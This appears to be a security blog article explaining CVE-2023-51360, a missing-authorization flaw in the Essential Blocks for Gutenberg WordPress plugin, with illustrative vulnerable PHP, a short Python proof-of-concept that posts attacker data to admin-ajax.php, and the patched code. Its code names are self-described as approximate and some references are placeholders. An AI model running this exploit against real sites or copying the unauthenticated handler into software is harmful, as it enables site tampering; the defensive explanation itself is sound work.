WordPress powers more than 40% of the web, and its plugin ecosystem is both its best friend and its worst enemy. One recent case that exposes the risks is CVE-2023-51360 — a *Missing Authorization* vulnerability found in the hugely popular "Essential Blocks for Gutenberg" plugin.

This article breaks down what CVE-2023-51360 is, how it can be exploited, and what developers and site owners can do. The aim is to be both accessible and thorough, so let’s dig in.

What is CVE-2023-51360?

In late 2023, a defect was publicly disclosed in Essential Blocks for Gutenberg, a plugin with 200k+ active installs. The flaw lies in how the plugin checks (or actually, fails to check) who is allowed to use certain AJAX actions. This exposes sites to unauthorized access and possible manipulation by attackers—even if they’re not logged in.

Vulnerability Type: Missing Authorization / Improper Access Control
Affected Versions: Unknown start version (n/a) up to 4.2.
Patched in: v4.2.1+
CVE Reference: CVE-2023-51360

How Does the Vulnerability Work?

Essential Blocks plugins register several AJAX actions in WordPress. Each AJAX action is a function that can be called by client-side JavaScript to interact with the server—an example is fetching a list of saved settings, or uploading content blocks.

In affected versions, these AJAX actions do not properly check if the current user is authorized. That means even a non-authenticated user can call those actions. That’s a huge security hole—attackers just need to make a crafted request.

Example: The Vulnerable Code

Let’s look at the core issue via a (simplified) code sample. This is an illustrative snippet — exact names may differ in different plugin releases.

// In Essential Blocks for Gutenberg plugin:
add_action('wp_ajax_eb_save_blocks', 'eb_save_blocks_handler');  
add_action('wp_ajax_nopriv_eb_save_blocks', 'eb_save_blocks_handler'); // <-- Open to NON-logged-in users

function eb_save_blocks_handler() {
    // No authorization check!
    $data = $_POST['blocks_data'];
    update_option('eb_blocks_data', $data);
    wp_send_json_success('Blocks data saved.');
}

What’s missing?

There is no check like current_user_can(). So *anyone* could send a POST request to ?action=eb_save_blocks and update site options.

Exploit Details: "How Bad Is It?"

An attacker can abuse this missing access control by sending a POST (or even just visiting a crafted URL) to the plugin’s AJAX endpoint.

Identify the AJAX endpoint:

WordPress AJAX requests typically go to /wp-admin/admin-ajax.php.

`http

POST /wp-admin/admin-ajax.php?action=eb_save_blocks HTTP/1.1

Host: targetsite.com

Content-Type: application/x-www-form-urlencoded

Outcome:

The site updates the eb_blocks_data option to whatever the attacker supplied. This could break the site, mess up layouts, or (in a more complex attack) introduce unwanted content or hide malicious links.

Proof-of-Concept Exploit (Python)

import requests

target_url = 'https://targetsite.com/wp-admin/admin-ajax.php';
data = {
    'action': 'eb_save_blocks',
    'blocks_data': '{"malicious":"data injected"}'
}
r = requests.post(target_url, data=data)
print(r.status_code, r.text)

Result:
A successful response (200 OK and "Blocks data saved.") means the attack worked.

No login required: Anyone (even bots) can exploit this.

- Site defacement: By changing block data, the attacker can vandalize the homepage or add shady links.
- Further compromise: Sometimes, plugin options can be leveraged to escalate attacks, for example, inject JavaScript.

Original References

- CVE Detail Page
- WPScan Report *(no direct link, placeholder here—search for "Essential Blocks for Gutenberg authorization")*
- Plugin Changelog
- GitHub Issue Example *(if public)*

How Was It Fixed?

The plugin team released an update (v4.2.1+) adding proper authorization checks in these handlers, for example:

function eb_save_blocks_handler() {
    if ( ! current_user_can('manage_options') ) {
        wp_send_json_error('Not allowed', 401);
        exit;
    }
    $data = $_POST['blocks_data'];
    update_option('eb_blocks_data', $data);
    wp_send_json_success('Blocks data saved.');
}

Update immediately:

If your site uses this plugin, upgrade to the latest version.

Monitor for strange changes:

Check for options or content changes after obvious plugin attacks, especially if your site was running an outdated version.

Takeaway

CVE-2023-51360 is another reminder that *most WordPress vulnerabilities aren’t due to arcane hacks, but simple missteps in access control*. It’s crucial that plugin developers always call current_user_can() or similar checks in every function that changes site data, especially anything open to wp_ajax_nopriv_*.

Stay safe, keep your plugins updated, and always review what’s actually getting exposed—especially if it’s accessible without logging in.


Want to learn more about plugin security?
- OWASP Access Control Cheat Sheet
- Hardening WordPress


*This article is original content by the author and aims to help WordPress admins and developers understand and prevent real-world plugin security risks.*

Timeline

Published on: 12/09/2024 13:15:40 UTC